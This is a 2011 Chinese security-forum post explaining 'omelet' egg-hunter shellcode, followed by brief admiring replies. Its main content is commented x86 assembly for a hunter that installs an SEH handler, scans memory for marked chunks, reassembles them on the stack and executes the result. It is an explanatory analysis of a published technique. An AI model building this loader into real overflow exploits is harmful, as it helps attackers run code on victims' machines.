首页
社区
课程
招聘
[原创]Shellcode分段执行技术原理
发表于: 2011-2-9 16:05 12464

[原创]Shellcode分段执行技术原理

2011-2-9 16:05
12464

作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com

前言
由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2 / Alpha3的开发者。

原理分析
        将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:

            图1
当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:

reset_stack:
; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
    XOR     EAX, EAX                    ; EAX = 0,并作为计数器
    MOV     ECX, [FS:EAX]               ; ECX = SEH结构链表
find_last_SEH_loop:
    MOV     ESP, ECX                    ; ESP = SEH结构
    POP     ECX                         ; ECX = 下一个SEH结构指针
    CMP     ECX, 0xFFFFFFFF             ; 判断是否是最后一个SEH结构
    JNE     find_last_SEH_loop          ; 不是则跳走并继续查找
    POP     EDX                         ; 最后一个SEH结构中的异常处理例程handler
    CALL    create_SEH_handler          ; 自定义SEH handler

SEH_handler:
    POPA                                ; ESI = [ESP + 4] -> struct exception_info
    LEA     ESP, [BYTE ESI+0x18]        ; ESP = struct exception_info->exception_address
    POP     EAX                         ; EAX = exception address 0x????????
    OR      AX, 0xFFF                   ; EAX = 0x?????FFF
    INC     EAX                         ; EAX = 0x?????FFF + 1 -> next page
    JS      done                        ; EAX > 0x7FFFFFFF ===> done
    XCHG    EAX, EDI                    ; EDI => next page
    JMP     reset_stack
create_SEH_handler:
    PUSH    ECX                         ; 指向下一个SEH结构,这里为0xFFFFFFFF
    MOV     [FS:EAX], ESP               ; 设置当前的SEH为自定义的SEH_handler
    CLD                                 ; 清除方向标志位DF,从0开始扫描内存
scan_loop:
    MOV     AL, egg_size                ; EAX = egg_size
egg_size_location equ $-1 - $$
    REPNE   SCASB                       ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块
    PUSH    EAX                         ; 找到后保存egg_size
    MOV     ESI, EDI                    ; ESI = 相匹配内存块的地址
    LODSD                               ; EAX = II M2 M3 M4,索引值(1字节)与标记值(3字节)
    XOR     EAX, (marker << 8) + 0xFF   ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index
marker_bytes_location equ $-3 - $$
    CMP     EAX, BYTE max_index         ; 检测EAX值是否小于 max_index
max_index_location equ $-1 - $$
    JA      reset_stack                 ; 不是则跳走并继续搜索内存
    POP     ECX                         ; ECX = egg_size
    IMUL    ECX                         ; EAX = egg_size * egg_index == egg_offset
                                        ; 这里是有带符号相乘,由于ECX * EAX总小于0x1000000,所以EDX=0
    ADD     EAX, [BYTE FS:EDX + 8]      ; EDI += Bottom of stack == position of egg in shellcode.
    XCHG    EAX, EDI
copy_loop:
    REP     MOVSB                       ; 将匹配的内存块复制到栈空间以重构成完整的shellcode
    MOV     EDI, ESI                    ; EDI指向当前匹配内存块的末尾,在拷贝完第一块内存块后继续搜索第二块,
                                        ; 以此类推,直至所有的内存块全部搜索到并复制到栈上
最后就是跳到栈底去执行重构后的shellcode:
done:
    XOR     EAX, EAX                    ; EAX = 0
    CALL    [BYTE FS:EAX + 8]           ; 从栈中shellcode的起始地址开始执行
773030<seq>

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (12)
雪    币: 10946
活跃值: (2900)
能力值: ( LV5,RANK:71 )
在线值:
发帖
回帖
粉丝
2
果断占楼,膜拜泉哥!
2011-2-9 16:23
0
雪    币: 656
活跃值: (448)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
3
刚才没登录的时候看见这个帖子了..登录后又看不到了..到最新发贴才看到
2011-2-9 16:26
0
雪    币: 27
活跃值: (127)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
4
泉哥这毅力,确实让人佩服啊
2011-2-9 16:30
0
雪    币: 3466
活跃值: (1561)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
真是太专业了哦真厉害
2011-2-9 16:48
0
雪    币: 347
活跃值: (25)
能力值: ( LV9,RANK:420 )
在线值:
发帖
回帖
粉丝
6
泉哥太强悍了,只能膜拜,无法学习
2011-2-9 20:36
0
雪    币: 510
活跃值: (433)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
7
原来在哪里看到过别人有写过利用PE里的空地写病毒的文章。
2011-2-9 21:21
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
8
看雪上面就有,比如利用节间隙,似乎在 xfish 的病毒专题上面就有提到……
2011-2-9 23:03
0
雪    币: 230
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
跟病毒分成若干碎片感染文件思路差不多
2011-2-20 13:48
0
雪    币: 230
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10
MGF的病毒就有。

在内存比文件要麻烦很多,文件就记录每个文件位置就OK。。内存要考虑多些情况。。
2011-2-20 13:50
0
雪    币: 238
活跃值: (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不错有空再学习一下。
2011-2-20 22:42
0
雪    币: 133
活跃值: (587)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
12
标记一下 !!!
2011-2-21 16:54
0
雪    币: 1149
活跃值: (888)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
13
泉哥 雪币多,精华也多。。。。
2011-2-21 16:59
0
游客
登录 | 注册 方可回帖
返回
//